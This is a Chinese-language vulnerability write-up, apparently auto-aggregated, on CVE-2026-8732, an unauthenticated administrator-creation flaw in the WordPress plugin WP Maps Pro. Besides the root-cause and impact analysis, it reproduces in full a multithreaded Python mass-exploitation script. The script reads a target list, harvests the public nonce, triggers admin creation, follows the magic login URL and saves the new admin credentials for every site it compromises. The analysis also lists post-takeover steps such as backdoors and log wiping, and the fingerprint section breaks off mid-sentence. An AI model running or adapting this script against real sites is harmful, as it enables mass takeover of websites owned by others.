🎯 CVE-2026-8732 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹
CVE-2026-8732 深度技术分析
CVE-2026-8732 深度技术分析:WP Maps Pro 未授权管理员账户创建漏洞
摘要:CVE-2026-8732 是 WordPress 插件 WP Maps Pro 在 6.1.0 及更早版本中存在的一个未授权管理员账户创建漏洞,CVSS 评分为 9.8 Critical。漏洞根因是开发人员将 `wpgmp_temp_access_ajax` AJAX action 注册到 `wp_ajax_nopriv_`,仅以通过 `wp_localize_script` 公开植入到前端页面的 `fc-call-nonce` nonce 作为访问控制,未校验用户身份与权限。攻击者只需从首页源码中提取 nonce,再以 `check_temp=false` 调用 `wpgmp_temp_access_support`,即可让插件调用 `wp_insert_user()` 创建管理员账户,并通过返回的 magic login URL 调用 `wp_set_auth_cookie()` 完成管理员身份认证,最终完全接管目标站点。
📌 漏洞概述
WP Maps Pro 是一个 WordPress 地图类插件,广泛用于在站点中嵌入自定义地图、标记、路线和图层。该插件在 6.1.0 及之前版本中,存在一处设计上极为危险的“临时管理员访问”功能。
- CVE 编号:CVE-2026-8732
- CVSS v3 评分:9.8(Critical)
- 攻击向量:远程网络
- 攻击复杂度:低
- 所需权限:无需任何权限(未认证)
- 影响产品:WordPress WP Maps Pro 插件
- 受影响版本:≤ 6.1.0
- 漏洞类型:权限提升(Privilege Escalation)/ 未授权访问 / 认证绕过
- CWE 分类:可归类为 CWE-306(关键功能缺少身份验证)、CWE-287(认证不当)、CWE-269(权限管理不当)
- CISA KEV:尚未收录,但其危害程度足以被恶意攻击者大规模利用。
漏洞的核心一句话概括:未登录用户可以通过公开的 nonce 触发一个本应仅限内部临时支持人员使用的“管理员创建”流程,并拿到一个可直接登录的魔法链接。
🔬 漏洞根因分析
2.1 AJAX Hook 注册错误:暴露了危险动作
WordPress AJAX 接口分为两类 hook:
wp_ajax_{action} // 仅已登录用户可访问
wp_ajax_nopriv_{action} // 未登录用户也可访问WP Maps Pro 在注册 `wpgmp_temp_access_ajax` 时,错误地将该 action 注册到了 `wp_ajax_nopriv_`,导致任何人都可以向 WordPress 发送形如:
POST /wp-admin/admin-ajax.php
action=wpgmp_temp_access_ajax的请求,并触发后续处理器。单是这一步,就完全绕过了“必须登录”的预期访问边界。
2.2 Nonce 被当作身份验证手段:只是公开的“哑口令”
插件开发者似乎意识到 AJAX 接口不应完全开放,因此加了一个 nonce 校验。然而,问题在于这个 nonce 是在前端每个页面通过 `wp_localize_script` 写入 HTML/JS 中的:
wp_localize_script('wpgmp-map', 'wpgmp_local', array(
'nonce' => wp_create_nonce('fc-call-nonce'),
// ...
));渲染后,任何访问者打开页面源码,都能看到包含 `fc-call-nonce` 的 JavaScript 对象。PoC 中的正则也证实了这一点:
match = re.search(r'wpgmp_local.*?"nonce":"([^"]+)"', html, re.DOTALL)Nonce 在 WordPress 中的设计初衷是防止跨站请求伪造,而不是代替身份认证。它只证明“请求来自某个已经加载过当前页面的客户端”,而无法证明“客户端是管理员”或“客户端可执行管理操作”。当 nonce 被公开输出到所有前端页面时,它就和页面上的公开 CSS、JS 一样不再是访问控制凭证。
2.3 处理器缺少权限检查:无 `current_user_can()`
`wpgmp_temp_access_support` 处理器显然没有调用 `current_user_can('manage_options')`、`is_admin()` 等权限校验逻辑。攻击者控制请求参数后,可以直接进入管理员创建流程。
2.4 `check_temp` 参数由客户端控制
漏洞利用的关键参数是 check_temp。插件设计上可能用该参数区分“真正的临时工单”与“普通请求”,但在安全实现中,这种标志位必须完全由服务端根据会话、角色、后台任务或加密令牌生成,绝不能信任客户端提交的布尔值。攻击者将 `check_temp` 置为 false 后,处理器便执行了管理员创建逻辑:
$user_id = wp_insert_user(array(
'user_login' => $username,
'user_pass' => $password,
'user_email' => $email,
'role' => 'administrator', // 角色硬编码为管理员
));插件从请求参数中读取用户名、密码和邮箱,甚至角色硬编码为 `administrator`。经 `wp_insert_user()` 后,攻击者已经拥有一个有效管理员账户。
2.5 Magical Login URL:直接灌入认证 Cookie
创建用户后,插件返回一个带令牌的“魔法登录 URL”。当攻击者使用浏览器或无状态 HTTP 客户端访问该 URL 时,处理器会调用:
wp_set_auth_cookie($user_id, true);这会让 WordPress 直接将请求对应的会话标记为已登录状态,并赋予该用户 `administrator` 角色。至此,攻击者无需经过登录表单,就获得了完整的管理员会话。
💥 影响与危害
该漏洞的实际利用门槛极低:攻击者只需要目标站点安装了受影响版本的 WP Maps Pro,并能够访问首页即可。利用后果包括:
3.1 完全站点接管
- 攻击者创建的管理员账户可直接登录
/wp-admin/。 - 管理员可以在 WordPress 后台中安装任意插件/主题、编辑 PHP 文件、上传 webshell。
- 最终获得 web shell,实现文件读写、服务器命令执行、数据库导出等持久化控制。
3.2 数据泄露与篡改
站点数据库可能包含用户隐私、订单记录、配置信息等。攻击者获得管理员权限后,可导出全部数据,也可篡改页面内容进行钓鱼或植入恶意脚本。
3.3 供应链与横向移动风险
WordPress 站点常与同一服务器上的其他虚拟主机、数据库、对象存储或 API 凭证关联。攻击者获得后台权限后,可读取配置文件中的明文密码、API Key,进而尝试横向移动至同一内网或云环境中的其他资产。
3.4 批量扫描的雪崩效应
PoC 使用多线程队列批量扫描大量站点,且请求非常简单。攻击者完全可以利用自动化工具在短时间内控制大量 WordPress 站点,组成僵尸网络或用于 SEO 污染、挖矿、恶意软件分发。
🧪 PoC 复现分析
GitHub 仓库 Jenderal92/CVE-2026-8732 与 xShadow-Here/CVE-2026-8732 中的 `CVE-2026-8732.py` 是完整的可利用 PoC。其攻击流程清晰映射出漏洞成因。
4.1 获取前端公开 Nonce
PoC 首先向目标首页发起 GET 请求:
resp = session.get(url, timeout=TIMEOUT, verify=False)
match = re.search(r'wpgmp_local.*?"nonce":"([^"]+)"', html, re.DOTALL)这一步验证了漏洞描述中的关键结论:nonce 被持久写入前端页面,任何人均可获得。即使第一种正则失败,PoC 还会尝试匹配 `fc-call-nonce` 的其它输出格式。只要得到 nonce,攻击前置条件即告满足。
4.2 构造 AJAX 请求
拿到 nonce 后,PoC 会向 `/wp-admin/admin-ajax.php` 发送 POST 请求,提交以下关键参数:
action=wpgmp_temp_access_ajax
nonce=<fc-call-nonce>
check_temp=false
username=securityaudit
password=StrongP@ssw0rd123!
email=audit@example.com从代码片段中可以看到,攻击者将用户名、密码、邮箱完全固定化。插件处理器接收到这些参数后,没有检查发起者身份,也没有检查 `check_temp` 的安全上下文,直接调用 `wp_insert_user()` 创建管理员。
4.3 解析返回的魔法登录 URL
PoC 提供了 `extract_token_and_url()` 函数,用来解析服务器返回的 JSON 数据:
data = json.loads(response_text)
if 'url' in data:
full_url = data['url']
match = re.search(r'[?&]wpmp_token=([^&]+)', full_url)这说明插件在创建用户成功后会生成一个带有 `wpmp_token` 参数的 URL。该 URL 就是漏洞描述中的 magic login URL。攻击者只需要构造 GET 请求访问该 URL,即可触发 `wp_set_auth_cookie()` 完成认证。
4.4 保存与验证结果
PoC 还会将目标域名、token、用户名、密码、邮箱写入输出文件,方便批量攻击后统一登录后台。这种将验证结果落盘的方式,与真实攻击行为完全一致:先批量创建管理员,再批量登录,最后批量植入后门。
⚔️ EXP 利用分析
虽然 Exploit-DB 当前未收录公开 EXP,但上述 GitHub PoC 实际上已经具备完整漏洞利用能力。下面梳理完整利用链:
5.1 利用链总览
攻击者
│
├─ 1. GET /(获取首页 JS 对象 wpgmp_local.nonce)
│
├─ 2. POST /wp-admin/admin-ajax.php
│ action=wpgmp_temp_access_ajax
│ nonce=fc-call-nonce
│ check_temp=false
│ username=securityaudit
│ password=StrongP@ssw0rd123!
│
├─ 3. 插件调用 wp_insert_user() 创建管理员用户
│
├─ 4. 返回 JSON 包含 magic login URL
│
├─ 5. GET magic login URL
│ → 插件调用 wp_set_auth_cookie()
│
└─ 6. 攻击者携带合法管理员 Cookie 访问 /wp-admin/
→ 站点沦陷5.2 关键攻击点
- 非认证可访问:`wp_ajax_nopriv_` 注册导致接口完全暴露。
- 无权限校验:处理器未执行 `current_user_can()`,任何人都能调用。
- 可伪造流程参数:`check_temp=false` 由客户端提交,导致无条件创建管理员。
- 魔法登录 URL:将账户激活与登录验证绑定,一步到位。
5.3 与真实攻击行为的映射
真实攻击者不会只停留在创建账户。利用该漏洞获得管理员会话后,通常会执行:
- 安装恶意插件或主题。
- 在 `functions.php` 中写入后门。
- 创建新的隐藏管理员备用账户。
- 修改页面内容实现流量劫持。
- 清理数据库中的 `/wp-admin` 登录审计日志。
🕵️ 检测指纹说明
系统给定的指纹规则用于快速发现使用了受漏洞影响逻辑的站点或代码。由于在没有完整规则文件的情况下,我会重点说明指纹的构成与部署方式。检测规则主要分为三类:
6.1 Web 侧指纹检测
Nuclei 或自定义扫描脚本可以通过以下特征识别目标是否使用存在漏洞的 WP Maps Pro 版本:
- 请求首页后发现 JS 对象:
wpgmp_local。
对象中包含 nonce 字段以及 `
🧪 PoC 代码(GitHub 实际仓库)
🔗 CVE-2026-8732🔗 CVE-2026-8732
### 文件: CVE-2026-8732.py
```
# -*- coding: utf-8 -*-
import sys
import re
import threading
import json
import time
from Queue import Queue
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
TIMEOUT = 10
TOTAL_THREAD = 10
OUTPUT_FILE = "res.txt"
ADMIN_FILE = "admin_created.txt"
BASE_USERNAME = "securityaudit"
NEW_PASSWORD = "StrongP@ssw0rd123!"
NEW_EMAIL = "audit@example.com"
print_lock = threading.Lock()
file_lock = threading.Lock()
HEADERS = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/120.0.0.0 Safari/537.36','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7','Accept-Encoding': 'gzip,deflate','Connection': 'keep-alive','Upgrade-Insecure-Requests': '1',}
def get_nonce(url):
try:
session = requests.Session()
session.headers.update(HEADERS)
resp = session.get(url,timeout=TIMEOUT,verify=False)
html = resp.text
match = re.search(r'wpgmp_local.*?"nonce":"([^"]+)"',html,re.DOTALL)
if match:
return match.group(1)
match = re.search(r'fc-call-nonce["\']?\s*:\s*["\']([^"\']+)',
html)
if match:
return match.group(1)
return None
except Exception:
return None
def simpan_hasil(url,token,redirect_url=None):
with file_lock:
try:
with open(OUTPUT_FILE,
'a') as f:
f.write("domain : %s\n" % url)
f.write("token full : %s\n" % token)
if redirect_url:
f.write("redirect url : %s\n" % redirect_url)
f.write("\n")
except IOError as e:
with print_lock:
print "[-] Failed to write to output file: %s" % str(e)
def simpan_admin(url,
username,password,email):
with file_lock:
try:
with open(ADMIN_FILE,
'a') as f:
f.write("=== Admin Created ===\n")
f.write("Domain: %s/wp-admin/\n" % url)
f.write("Username: %s\n" % username)
f.write("Password: %s\n" % password)
f.write("Email: %s\n" % email)
f.write("-------------------------------\n\n")
except IOError as e:
with print_lock:
print "[-] Failed to save admin info: %s" % str(e)
def extract_token_and_url(response_text):
try:
data = json.loads(response_text)
if 'url' in data:
full_url = data['url']
match = re.search(r'[?&]wpmp_token=([^&]+)',
full_url)
if match:
return match.group(1),full_url
match = re.search(r'token=([^&]+)',full_url)
if match:
return match.group(1),full_url
if 'token' in data:
return data['token'],None
if 'access_token' in data:
return data['access_token'],
None
except:
pass
match = re.search(r'wpmp_token=([a-f0-9]+)',response_text)
if match:
token = match.group(1)
url_match = re.search(r'(https?://[^\s"\']+wp-admin[^\s"\']*)',response_text)
if url_match:
return token,url_match.group(1)
return token,None
match = re.search(r'["\']token["\']\s*:\s*["\']([^"\']+)',
response_text)
if match:
return match.group(1),None
match = re.search(r'["\']access_token["\']\s*:\s*["\']([^"\']+)',response_text)
if match:
return match.group(1),None
if re.match(r'^[a-f0-9]{32,}$',response_text.strip()):
return response_text.strip(),None
return None,None
def create_admin_user(session,base_url,username,password,
email):
try:
admin_url = base_url.rstrip('/') + '/wp-admin/user-new.php'
headers = HEADERS.copy()
headers['Referer'] = base_url + '/wp-admin/'
resp = session.get(admin_url,headers=headers,timeout=TIMEOUT,verify=False)
if resp.status_code != 200:
return False,
"Cannot access user-new.php (status %d)" % resp.status_code
html = resp.text
nonce_match = re.search(r'name="_wpnonce_create-user" value="([^"]+)"',html)
if not nonce_match:
nonce_match = re.search(r'id="_wpnonce_create-user"[^>]+value="([^"]+)"',html)
if not nonce_match:
return False,
"Cannot find create-user nonce"
create_nonce = nonce_match.group(1)
submit_match = re.search(r'<input[^>]*type="submit"[^>]*name="createuser"[^>]*value="([^"]+)"',html)
submit_value = "Add New User"
if submit_match:
submit_value = submit_match.group(1)
data = {'action': 'createuser','_wpnonce_create-user': create_nonce,
'_wp_http_referer': '/wp-admin/user-new.php','user_login': username,'email': email,'first_name': '','last_name': '','url': '','pass1': password,'pass2': password,'role': 'administrator','createuser': submit_value
}post_headers = headers.copy()
post_headers['Content-Type'] = 'application/x-www-form-urlencoded'
post_resp = session.post(admin_url,data=data,
headers=post_headers,timeout=TIMEOUT,verify=False,allow_redirects=False)
if post_resp.status_code == 302:
location = post_resp.headers.get('Location','')
if 'users.php' in location:
return True,"Admin created (redirect)"
check_resp = session.get(base_url + '/wp-admin/users.php',timeout=TIMEOUT,
verify=False)
if check_resp.status_code == 200 and username in check_resp.text:
return True,"Admin created (user appears in users list)"
return False,"No redirect and user not found"
except Exception as e:
return False,
"Exception: %s" % str(e)
def check_vulnerability(url):
url = url.strip()
if not url:
return
if not url.startswith('http://') and not url.startswith('https://'):
url = 'https://' + url
url = url.rstrip('/')
with print_lock:
print "[*] Checking: %s" % url
nonce = get_nonce(url)
if not nonce:
with print_lock:
print "[-] %s ->
Failed to get nonce" % url
return
ajax_url = url + "/wp-admin/admin-ajax.php"
payload = {'action': 'wpgmp_temp_access_ajax','nonce': nonce,'handler': 'wpgmp_temp_access_support','check_temp': 'false'
}post_headers = HEADERS.copy()
post_headers.update({'Content-Type': 'application/x-www-form-urlencoded','Origin': url,'Referer': url + '/',
'X-Requested-With': 'XMLHttpRequest'
})
try:
session = requests.Session()
session.headers.update(post_headers)
resp = session.post(ajax_url,data=payload,timeout=TIMEOUT,verify=False)
response_text = resp.text
token,
redirect_url = extract_token_and_url(response_text)
if token:
with print_lock:
print "[VULNERABLE] %s ->Token found" % url
simpan_hasil(url,token,redirect_url)
if redirect_url:
with print_lock:
print "[*] %s ->
Accessing redirect URL..." % url
try:
session.get(redirect_url,timeout=TIMEOUT,verify=False)
except:
pass
unique_username = "%s_%d" % (BASE_USERNAME,int(time.time()))
success,message = create_admin_user(session,url,unique_username,NEW_PASSWORD,
NEW_EMAIL)
if success:
with print_lock:
print "[+] %s ->Admin created: %s / %s" % (url,unique_username,NEW_PASSWORD)
simpan_admin(url,unique_username,NEW_PASSWORD,NEW_EMAIL)
else:
with print_lock:
print "[-] %s ->Failed to create admin: %s" % (url,
message)
else:
with print_lock:
print "[-] %s ->No token" % url
except Exception as e:
with print_lock:
print "[-] %s ->Error: %s" % (url,
str(e))
def worker(q):
while not q.empty():
target = q.get()
try:
check_vulnerability(target)
except Exception:
pass
finally:
q.task_done()
def main():
banner = """
============================================
WP Maps Pro Vulnerability Scanner &
Auto Admin
CVE-2026-8732
===========================================
"""
print banner
if len(sys.argv) <2:
print "Usage: python mass_audit.py [target_list.txt]"
sys.exit(1)
target_file = sys.argv[1]
try:
with open(target_file,
'r') as f:
targets = [line.strip() for line in f if line.strip()]
except IOError:
print "[-] File %s not found!" % target_file
sys.exit(1)
print "[*] Starting scan on %d targets using %d threads..." % (len(targets),
TOTAL_THREAD)
print "[*] Valid results saved to: %s" % OUTPUT_FILE
print "[*] Admin credentials saved to: %s" % ADMIN_FILE
print "[*] New admin username: %s_<timestamp>,password: %s\n" % (BASE_USERNAME,NEW_PASSWORD)
q = Queue()
for target in targets:
q.put(target)
threads = []
for i in range(TOTAL_THREAD):
t = threading.Thread(target=worker,
args=(q,))
t.daemon = True
t.start()
threads.append(t)
q.join()
print "\n[*] Scan finished. Check %s and %s" % (OUTPUT_FILE,ADMIN_FILE)
if __name__ == "__main__":
main()
```🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-01 10:09 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库